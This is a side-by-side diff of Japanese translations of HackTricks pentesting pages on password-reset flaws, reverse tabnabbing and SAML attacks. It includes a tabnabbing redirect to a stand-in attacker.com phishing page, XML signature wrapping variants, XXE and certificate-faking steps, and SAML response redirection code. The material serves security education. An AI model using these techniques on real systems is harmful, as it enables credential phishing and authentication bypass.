- 厳格なパラメータ検証と認証チェックを確保します。 - 厳格なパラメータ検証と認証チェックを確保します。
- 不審なアクティビティを検出および対応するための堅牢なログ記録と監視を実装します。 - 不審なアクティビティに対応するために、堅牢なロギングとモニタリングを実装します。
* **参考**: * **参考**:
- [APIパラメータ操作による完全なアカウント乗っ取り](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) - [APIパラメータ操作による完全なアカウント乗っ取り](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
@ -70,18 +71,18 @@ HackTricksをサポートする他の方法
* **参考**: * **参考**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534) - [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **パスワードリセットトークンの生成方法を特定する** ## **パスワードリセットトークンの生成方法を調べる**
* トークン生成のパターンや方法を理解することで、トークンの予測やブルートフォース攻撃が可能になります。 * トークン生成のパターンや方法を理解することで、トークンの予測やブルートフォース攻撃が可能になります。
* **緩和手順**: * **緩和手順**:
- 予測不可能性を防ぐために強力な暗号化方法を使用します。 - 予測不可能性を防ぐために強力な暗号化方法を使用します。
- 予測可能性を防ぐために十分なランダム性と長さを確保します。 - 予測可能性を防ぐために十分なランダム性と長さを確保します。
* **ツール**: トークンのランダム性を分析するためにBurp Sequencerを使用します。 * **ツール**: トークンのランダム性を分析するためにBurp Sequencerを使用します。
## **推測可能なGUID** ## **推測可能なGUID**
* GUIDバージョン1が推測可能または予測可能な場合、攻撃者は有効なリセットトークンを生成するためにそれらをブルートフォースする可能性があります。 * GUIDバージョン1が推測可能または予測可能な場合、攻撃者は有効なリセットトークンを生成するためにそれらをブルートフォース攻撃する可能性があります。
* **緩和手順**: * **緩和手順**:
- ランダム性のためにGUIDバージョン4を使用するか、他のバージョンに対して追加のセキュリティ対策を実装します。 - ランダム性のためにGUIDバージョン4を使用するか、他のバージョンに対して追加のセキュリティ対策を実装します。
* **ツール**: GUIDの分析および生成に[guidtool](https://github.com/intruder-io/guidtool)を使用します。 * **ツール**: [guidtool](https://github.com/intruder-io/guidtool)を使用してGUIDの分析と生成を行います。
## **レスポンス操作: 悪いレスポンスを良いものに置き換える** ## **レスポンス操作: 悪いレスポンスを良いものに置き換える**
* HTTPレスポンスを操作してエラーメッセージや制限をバイパスします。 * HTTPレスポンスを操作してエラーメッセージや制限をバイパスします。
@ -99,7 +100,7 @@ HackTricksをサポートする他の方法
## **ブルートフォースパスワードリセットトークン** ## **ブルートフォースパスワードリセットトークン**
* リセットトークンをブルートフォース攻撃する試みは、IPベースのレート制限をバイパスするためにBurpsuiteやIP-Rotatorなどのツールを使用します。 * リセットトークンをブルートフォース攻撃する試みは、IPベースのレート制限をバイパスするためにBurpsuiteやIP-Rotatorなどのツールを使用します。
* **緩和手順**: * **緩和手順**:
- 強固なレート制限およびアカウントロックアウトメカニズムを実装します。 - 堅牢なレート制限とアカウントロックアウトメカニズムを実装します。
- ブルートフォース攻撃を示す不審なアクティビティを監視します。 - ブルートフォース攻撃を示す不審なアクティビティを監視します。
## **あなたのトークンを使用してみてください** ## **あなたのトークンを使用してみてください**
@ -108,16 +109,16 @@ HackTricksをサポートする他の方法
- トークンがユーザーセッションや他のユーザー固有の属性にバインドされていることを確認します。 - トークンがユーザーセッションや他のユーザー固有の属性にバインドされていることを確認します。
## **ログアウト/パスワードリセット時のセッション無効化** ## **ログアウト/パスワードリセット時のセッション無効化**
* ユーザーがログアウトしたりパスワードをリセットしたときにセッションが無効になっていることを確認します。 * ユーザーがログアウトしたりパスワードをリセットしたときにセッションが無効化されていることを確認します。
* **緩和手順**: * **緩和手順**:
- ログアウトまたはパスワードリセット時にすべてのセッションが無効になるように適切なセッション管理を実装します。 - ログアウトまたはパスワードリセット時にすべてのセッションが無効化されるように適切なセッション管理を実装します。
## **ログアウト/パスワードリセット時のセッション無効化** ## **ログアウト/パスワードリセット時のセッション無効化**
* リセットトークンには、無効になる期限時間を設定する必要があります。 * リセットトークンには、無効になる有効期限が必要です。
* **緩和手順**: * **緩和手順**:
- リセットトークンのために合理的な有効期限を設定し、サーバーサイドで厳密に強制します。 - リセットトークンのために合理的な有効期限を設定し、サーバーサイドで厳密に強制します。
# 参考文献 ## 参考文献
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) * [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
@ -128,9 +129,9 @@ HackTricksをサポートする他の方法
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加 ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じてハッキングの世界を最新の状態に保つ リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける
**最新のアナウンス**\ **最新のお知らせ**\
最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得る 最新のバグバウンティの開始や重要なプラットフォームのアップデートについての情報を入手
**Discord**に参加して、今日からトップハッカーと協力を始めましょう! **Discord**に参加して、今日からトップハッカーと協力を始めましょう! [**Discord**](https://discord.com/invite/N3FrSbmwdy)

View file

@ -1,26 +1,26 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 * **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリに提出してください。
</details> </details>
# 説明 # 説明
**攻撃者**が**`target="_blank" rel="opener"`**属性を持つ**`<a`**タグの**`href`**引数を**制御**できる状況で被害者がクリックするリンクを**攻撃者**が自身のコントロール下にあるWeb**悪意のある** **ウェブサイト****指定**すると被害者がリンクをクリックして攻撃者のウェブサイトにアクセスするとこの**悪意のある** **ウェブサイト**はjavascriptオブジェクト**`window.opener`**を介して**元のページ****制御**できるようになります。\ **攻撃者**が**被害者**によってクリックされる**`target="_blank" rel="opener"`**属性を持つ**`<a`**タグの**`href`**引数を**制御**できる状況で、**攻撃者**はこの**リンク**を自分のコントロール下にあるWebページ**悪意のある** **ウェブサイト****向ける**ことができますその後、**被害者**がリンクをクリックして攻撃者のウェブサイトにアクセスするとこの**悪意のある** **ウェブサイト**は**javascript**オブジェクト**`window.opener`**を介して**元のページ****制御**できるようになります。\
ページに**`rel="opener"`**がないが`target="_blank"`を含み**`rel="noopener"`**がない場合、脆弱性がある可能性があります。 ページに**`rel="opener"`**がないが、`target="_blank"`を含んでおり、`rel="noopener"`を持っていない場合、脆弱性がある可能性があります。
この動作を悪用する一般的な方法は、`window.opener.location = https://attacker.com/victim.html`を介して**元のウェブ**の場所を変更し、**元のウェブ**の**ログイン** **フォーム**を**模倣**してユーザーに資格情報を要求できるようにすることです。 この動作を悪用する通常の方法は、`window.opener.location = https://attacker.com/victim.html`を介して**元のWeb**の**場所を変更**し、**元のWeb**に似ている**攻撃者によって制御されるWeb**にリダイレクトし、ユーザーに資格情報を要求する**元のWeb**の**ログインフォーム**を**模倣**することです。
ただし、**攻撃者が今や元のウェブサイトのウィンドウオブジェクトを制御できる**ようになったため、他の方法で**ステルス攻撃**を実行するために悪用することができますおそらくjavascriptイベントを変更して情報を彼が制御するサーバーに外部流出させるなど)。 ただし、**攻撃者が今や元のWebサイトのウィンドウオブジェクトを制御できる**ようになったため、他の方法で**ステルス攻撃**を実行するためにそれを悪用することができますおそらくjavascriptイベントを変更して情報を彼が制御するサーバーに送信するなど)。
# 概要 # 概要
@ -38,8 +38,8 @@ HackTricksをサポートする他の方法
## 例 <a href="#examples" id="examples"></a> ## 例 <a href="#examples" id="examples"></a>
フォルダ内に以下のページを作成し、`python3 -m http.server`でWebサーバーを実行します\ 以下のページをフォルダに作成し、`python3 -m http.server`でWebサーバーを実行してください\
その後、`http://127.0.0.1:8000/`vulnerable.htmlに**アクセス**し、リンクを**クリック**して**元のウェブサイト**の**URL**が**変更**される様子を確認してください。 その後、`http://127.0.0.1:8000/`vulnerable.htmlに**アクセス**し、リンクを**クリック**して、**元のウェブサイトのURLが変更**される方法に注意してください。
{% code title="vulnerable.html" %} {% code title="vulnerable.html" %}
```markup ```markup
@ -79,15 +79,15 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
## アクセス可能なプロパティ <a href="#accessible-properties" id="accessible-properties"></a> ## アクセス可能なプロパティ <a href="#accessible-properties" id="accessible-properties"></a>
異なるドメイン間でアクセスが発生するシナリオでは、悪意のあるサイトによってアクセスされる**opener** JavaScriptオブジェクト参照によって参照される**window** JavaScriptクラスインスタンスのプロパティは、以下に制限されます 異なるドメイン間でアクセスが発生するシナリオでは、**cross-origin**アクセスが発生し、悪意のあるサイトによってアクセスできる**opener** JavaScriptオブジェクト参照によって参照される**window** JavaScriptクラスインスタンスのプロパティは、以下に制限されます
- **`opener.closed`**: このプロパティは、ウィンドウが閉じられたかどうかを判断するためにアクセスされ、ブール値を返します。 - **`opener.closed`**このプロパティは、ウィンドウが閉じられたかどうかを判断するためにアクセスされ、ブール値を返します。
- **`opener.frames`**: このプロパティは、現在のウィンドウ内のすべてのiframe要素にアクセスを提供します。 - **`opener.frames`**このプロパティは、現在のウィンドウ内のすべてのiframe要素にアクセスを提供します。
- **`opener.length`**: 現在のウィンドウに存在するiframe要素の数がこのプロパティによって返されます。 - **`opener.length`**現在のウィンドウに存在するiframe要素の数がこのプロパティによって返されます。
- **`opener.opener`**: 現在のウィンドウを開いたウィンドウへの参照をこのプロパティを通じて取得できます。 - **`opener.opener`**現在のウィンドウを開いたウィンドウへの参照をこのプロパティを通じて取得できます。
- **`opener.parent`**: このプロパティは、現在のウィンドウの親ウィンドウを返します。 - **`opener.parent`**このプロパティは、現在のウィンドウの親ウィンドウを返します。
- **`opener.self`**: このプロパティによって現在のウィンドウ自体にアクセスできます。 - **`opener.self`**このプロパティによって現在のウィンドウ自体にアクセスできます。
- **`opener.top`**: このプロパティは、最上位のブラウザウィンドウを返します。 - **`opener.top`**このプロパティは、最上位のブラウザウィンドウを返します。
ただし、ドメインが同一の場合、悪意のあるサイトは[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScriptオブジェクト参照によって公開されるすべてのプロパティにアクセスできます。 ただし、ドメインが同一の場合、悪意のあるサイトは[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScriptオブジェクト参照によって公開されるすべてのプロパティにアクセスできます。

View file

@ -11,7 +11,7 @@ HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** - **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
@ -28,9 +28,9 @@ HackTricksをサポートする他の方法
## XMLラウンドトリップ ## XMLラウンドトリップ
XMLでは、XMLの署名部分がメモリに保存され、いくつかのエンコード/デコードが実行され、署名がチェックされます。理想的には、そのエンコード/デコードはデータを変更しないはずですが、そのシナリオに基づくと、**チェックされるデータと元のデータが同じでない可能性があります**。 XMLでは、XMLの署名部分がメモリに保存され、いくつかのエンコーディング/デコーディングが実行され、署名がチェックされます。理想的には、そのエンコーディング/デコーディングはデータを変更しないはずですが、そのシナリオに基づくと、**チェックされるデータと元のデータが同じでない可能性があります**。
例えば、以下のコードをチェックしてください: たとえば、次のコードを確認してください:
```ruby ```ruby
require 'rexml/document' require 'rexml/document'
@ -45,7 +45,7 @@ puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name puts "First child after round-trip: " + doc.root.elements[1].name
``` ```
プログラムをREXML 3.2.4またはそれ以前のバージョンに対して実行すると、次の出力が表示されます: プログラムをREXML 3.2.4またはそれ以前のバージョンに対して実行すると、代わりに次の出力が生成されます:
``` ```
First child in original doc: Y First child in original doc: Y
First child after round-trip: Z First child after round-trip: Z
@ -65,9 +65,72 @@ First child after round-trip: Z
## XML Signature Wrapping Attacks ## XML Signature Wrapping Attacks
**XML Signature Wrapping attacks (XSW)**では、敵対者はXMLドキュメントが**署名検証**および**機能呼び出し**の2つの異なるフェーズを通過する際に生じる脆弱性を悪用します。これらの攻撃は、XMLドキュメント構造を変更することを含みます。具体的には、攻撃者はXML署名の有効性に影響を与えない**偽造要素を挿入**します。この操作は、**アプリケーションロジック**によって分析される要素と**署名検証モジュール**によってチェックされる要素との間に不一致を作成することを目的としています。その結果、XML署名は技術的に有効で検証に合格しますが、アプリケーションロジックは**不正な要素**を処理します。したがって、攻撃者はXML署名の**整合性保護**と**起源認証**を効果的にバイパスし、検出されずに**任意のコンテンツを挿入**することが可能となります。 **XML Signature Wrapping attacks (XSW)**では、敵対者はXMLドキュメントが**署名検証****機能呼び出し**の2つの異なるフェーズを通過する際に生じる脆弱性を悪用します。これらの攻撃は、XMLドキュメント構造を変更することを含みます。具体的には、攻撃者はXML署名の有効性に影響を与えない**偽造要素を挿入**します。この操作は、**アプリケーションロジック**によって分析される要素と**署名検証モジュール**によってチェックされる要素との間に不一致を作成することを目的としています。その結果、XML署名は技術的に有効で検証に合格しますが、アプリケーションロジックは**不正な要素**を処理します。したがって、攻撃者はXML署名の**整合性保護**と**起源認証**を効果的にバイパスし、検出されずに**任意のコンテンツを挿入**することが可能となります。
以下の攻撃は、**[このブログ投稿](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)および[この論文](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**に基づいています。詳細については、それらを確認してください。 以下の攻撃は、**[このブログ投稿](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)および[この論文](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**に基づいています。詳細については、それらを確認してください。
### XSW #1
- **戦略**: 署名を含む新しいルート要素が追加されます。
- **影響**: バリデータは正当な「Response -> Assertion -> Subject」と攻撃者の「悪質な新しいResponse -> Assertion -> Subject」の間で混乱する可能性があり、データの整合性に問題が生じる可能性があります。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../.gitbook/assets/image (538).png>)
### XSW #2
- **XSW #1との違い**: 包含署名の代わりに分離署名を使用します。
- **影響**: XSW #1に類似した「悪質な」構造は、整合性チェック後にビジネスロジックを欺くことを目的としています。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../.gitbook/assets/image (539).png>)
### XSW #3
- **戦略**: 元のAssertionと同じ階層レベルで悪質なAssertionが作成されます。
- **影響**: ビジネスロジックが悪意のあるデータを使用するように混乱させることを意図しています。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../.gitbook/assets/image (540).png>)
### XSW #4
- **XSW #3との違い**: 元のAssertionが複製された悪質なAssertionの子になります。
- **影響**: XSW #3に類似していますが、XML構造をより積極的に変更します。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../.gitbook/assets/image (541).png>)
### XSW #5
- **ユニークな側面**: 署名も元のAssertionも標準構成包含/包含/分離)に従っていません。
- **影響**: コピーされたAssertionが署名を包含し、期待されるドキュメント構造を変更します。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../.gitbook/assets/image (542).png>)
### XSW #6
- **戦略**: XSW #4および#5と同様の位置挿入ですが、少し違います。
- **影響**: コピーされたAssertionが署名を包含し、それが元のAssertionを包含し、入れ子になった欺瞞的な構造を作成します。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../.gitbook/assets/image (543).png>)
### XSW #7
- **戦略**: コピーされたAssertionを子として含むExtensions要素が挿入されます。
- **影響**: これは、OpenSAMLなどのライブラリにおいてスキーマ検証対策をバイパスするために、Extensions要素のより制限の少ないスキーマを悪用します。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../.gitbook/assets/image (544).png>)
### XSW #8
- **XSW #7との違い**: 攻撃の変種のために別の制限の少ないXML要素を使用します。
- **影響**: 元のAssertionが制限の少ない要素の子になり、XSW #7で使用された構造が逆になります
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../.gitbook/assets/image (545).png>)
### ツール
Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用して、リクエストを解析し、選択したXSW攻撃を適用し、実行できます。
## XXE
XXE攻撃の種類がわからない場合は、次のページをお読みください
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
{% endcontent-ref %}
SAML Responsesは**デフレートおよびベース64エンコードされたXMLドキュメント**であり、XML External EntityXXE攻撃の影響を受ける可能性があります。 SAML ResponseのXML構造を操作することで、攻撃者はXXE脆弱性を悪用しようとします。このような攻撃がどのように視覚化されるかについては、次のようになります
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!DOCTYPE foo [
@ -99,7 +162,7 @@ XSLTに関する詳細情報は、以下を参照してください:
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) [xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %} {% endcontent-ref %}
拡張可能スタイルシート言語変換XSLTは、XMLドキュメントをHTML、JSON、またはPDFなどのさまざまな形式に変換するために使用できます。**XSLT変換はデジタル署名の検証の前に実行**されることに注意することが重要です。これは、有効な署名がなくても攻撃が成功する可能性があることを意味します。自己署名または無効な署名でも十分です。 拡張可能スタイルシート言語変換XSLTは、XMLドキュメントをHTML、JSON、またはPDFなどのさまざまな形式に変換するために使用できます。**XSLT変換はデジタル署名の検証よりも前に実行**されることに注意することが重要です。つまり、有効な署名がなくても攻撃が成功する可能性があります。自己署名または無効な署名でも進行するのに十分です。
ここでは、この種の脆弱性をチェックするための**POC**を見つけることができます。このセクションの冒頭で言及されているhacktricksページで、ペイロードを見つけることができます。 ここでは、この種の脆弱性をチェックするための**POC**を見つけることができます。このセクションの冒頭で言及されているhacktricksページで、ペイロードを見つけることができます。
```xml ```xml
@ -129,7 +192,7 @@ XSLTに関する詳細情報は、以下を参照してください:
## XML署名除外 <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a> ## XML署名除外 <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
**XML Signature Exclusion**は、Signature要素が存在しない場合にSAML実装の動作を観察します。この要素が欠落していると、**署名検証が行われない可能性**があり、脆弱性が生じる可能性があります。通常署名によって検証される内容を変更することで、これをテストすることができます。 **XML Signature Exclusion**は、Signature要素が存在しない場合にSAML実装の動作を観察します。この要素が欠落していると、**署名検証が行われない可能性**があり、脆弱性が生じる可能性があります。通常署名によって検証される内容を変更することで、これをテストすることが可能です。
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../.gitbook/assets/image (547).png>) ![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../.gitbook/assets/image (547).png>)
@ -141,29 +204,29 @@ Burp拡張機能[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4
## 証明書偽装 <a href="#certificate-faking" id="certificate-faking"></a> ## 証明書偽装 <a href="#certificate-faking" id="certificate-faking"></a>
証明書偽装は、**サービスプロバイダSPがSAMLメッセージが信頼できるIdPIdentity Providerによって署名されているかどうかを適切に検証するかどうかをテストする**技術です。これには、**自己署名証明書**を使用してSAMLレスポンスまたはAssertionに署名することが含まれます。これにより、SPとIdP間の信頼検証プロセスを評価できます。 証明書偽装は、**サービスプロバイダSPがSAMLメッセージが信頼できるIdPIdentity Providerによって署名されているかどうかを適切に検証するかどうかをテストする**技術です。これは、SAMLレスポンスまたはAssertionに**自己署名証明書**を使用することで、SPとIdP間の信頼検証プロセスを評価するのに役立ちます。
### 証明書偽装の実施方法 ### 証明書偽装の実施方法
以下の手順は、[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp拡張機能を使用したプロセスを概説しています: 以下の手順は、[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp拡張機能を使用したプロセスを概説しています:
1. SAMLレスポンスをインターセプトします。 1. SAMLレスポンスをインターセプトします。
2. レスポンスに署名が含まれている場合は、`Send Certificate to SAML Raider Certs`ボタンを使用して証明書をSAML Raider Certsに送信します。 2. レスポンスに署名が含まれている場合は、`Send Certificate to SAML Raider Certs`ボタンを使用して証明書をSAML Raider Certsに送信します。
3. SAML Raider Certificatesタブで、インポートした証明書を選択し、`Save and Self-Sign`をクリックして元の証明書の自己署名クローンを作成します。 3. SAML Raider Certificatesタブで、インポートした証明書を選択し、元の証明書の自己署名クローンを作成するために`Save and Self-Sign`をクリックします。
4. BurpのProxyでインターセプトしたリクエストに戻ります。XML Signatureドロップダウンから新しい自己署名証明書を選択します。 4. BurpのProxyでインターセプトしたリクエストに戻ります。XML Signatureドロップダウンから新しい自己署名証明書を選択します。
5. `Remove Signatures`ボタン既存の署名を削除します。 5. `Remove Signatures`ボタンを使用して既存の署名を削除します。
6. 適切な場合は、新しい証明書でメッセージまたはAssertionに署名するために、**`(Re-)Sign Message`**または**`(Re-)Sign Assertion`**ボタンをクリックします。 6. 適切な**`(Re-)Sign Message`**または**`(Re-)Sign Assertion`**ボタンを使用して、新しい証明書でメッセージまたはAssertionに署名します。
7. 署名されたメッセージを転送します。成功した認証は、SPが自己署名証明書によって署名されたメッセージを受け入れることを示し、SAMLメッセージの検証プロセスにおける潜在的な脆弱性を明らかにします。 7. 署名されたメッセージを転送します。成功した認証は、SPが自己署名証明書によって署名されたメッセージを受け入れることを示し、SAMLメッセージの検証プロセスにおける潜在的な脆弱性を明らかにします。
## トークン受信者混乱 / サービスプロバイダターゲット混乱 <a href="#token-recipient-confusion" id="token-recipient-confusion"></a> ## トークン受信者混乱 / サービスプロバイダターゲット混乱 <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
トークン受信者混乱とサービスプロバイダターゲット混乱は、**サービスプロバイダが応答の意図された受信者を正しく検証するかどうか**を確認するものです。要するに、サービスプロバイダは、別のプロバイダ向けに意図されていない認証応答を拒否する必要があります。ここで重要な要素は、SAMLレスポンスの**SubjectConfirmationData**要素内にある**Recipient**フィールドです。このフィールドは、Assertionを送信する必要のあるURLを指定します。実際の受信者が意図されたサービスプロバイダと一致しない場合、Assertionは無効と見なす必要があります。 トークン受信者混乱とサービスプロバイダターゲット混乱は、**サービスプロバイダが応答の意図された受信者を正しく検証するかどうか**を確認するものです。要するに、サービスプロバイダは、別のプロバイダ向けに意図されていない認証応答を拒否すべきです。ここで重要な要素は、SAMLレスポンスの**SubjectConfirmationData**要素内にある**Recipient**フィールドです。このフィールドは、Assertionを送信する必要のあるURLを指定します。実際の受信者が意図されたサービスプロバイダと一致しない場合、Assertionは無効と見なす必要があります。
#### **動作方法** #### **動作方法**
SAMLトークン受信者混乱SAML-TRC攻撃が実行可能になるためには、特定の条件を満たす必要があります。まず第一に、サービスプロバイダSP-Legitと呼ばれるに有効なアカウントが存在している必要があります。第二に、ターゲットとなるサービスプロバイダSP-Targetは、SP-Legitにサービスを提供する同じIdentity Providerからトークンを受け入れる必要があります。 SAMLトークン受信者混乱SAML-TRC攻撃を実行するためには、特定の条件を満たす必要があります。まず第一に、サービスプロバイダSP-Legitと呼ばれるに有効なアカウントが存在している必要があります。第二に、ターゲットとなるサービスプロバイダSP-Targetは、SP-Legitにサービスを提供する同じIdentity Providerからトークンを受け入れる必要があります。
これらの条件の下で、攻撃プロセスは簡単です。共有Identity Providerを介してSP-Legitとの間で本物のセッションが開始されます。Identity ProviderからSP-Legitに向けられたSAMLレスポンスがインターセプトされます。元々SP-Legit向けに意図されていたこのインターセプトされたSAMLレスポンスは、その後SP-Targetにリダイレクトされます。この攻撃の成功は、SP-TargetがAssertionを受け入れ、SP-Legitで使用された同じアカウント名でリソースへのアクセスを許可することによって測定されます。 これらの条件の下で、攻撃プロセスは簡単です。共有Identity Providerを介してSP-Legitとの間で認証セッションが開始されます。Identity ProviderからSP-Legitに向けられたSAMLレスポンスがインターセプトされます。元々SP-Legit向けに意図されていたこのインターセプトされたSAMLレスポンスは、その後SP-Targetにリダイレクトされます。この攻撃の成功は、SP-TargetがAssertionを受け入れ、SP-Legitで使用された同じアカウント名でリソースへのアクセスを許可すること測定されます。
```python ```python
# Example to simulate interception and redirection of SAML Response # Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url): def intercept_and_redirect_saml_response(saml_response, sp_target_url):
@ -186,17 +249,17 @@ return f"Failed to redirect SAML Response: {e}"
``` ```
## ログアウト機能のXSS ## ログアウト機能のXSS
オリジナルの研究は[このリンク](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)からアクセスできます。 の研究は[このリンク](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)からアクセスできます。
ディレクトリブルートフォースの過程で、次のログアウトページが発見されました: ディレクトリブルートフォースの過程で、ログアウトページが次の場所で発見されました:
``` ```
https://carbon-prototype.uberinternal.com:443/oidauth/logout https://carbon-prototype.uberinternal.com:443/oidauth/logout
``` ```
このリンクにアクセスすると、次のリダイレクトが発生しました: このリンクにアクセスすると、以下にリダイレクトされました:
``` ```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1 https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
``` ```
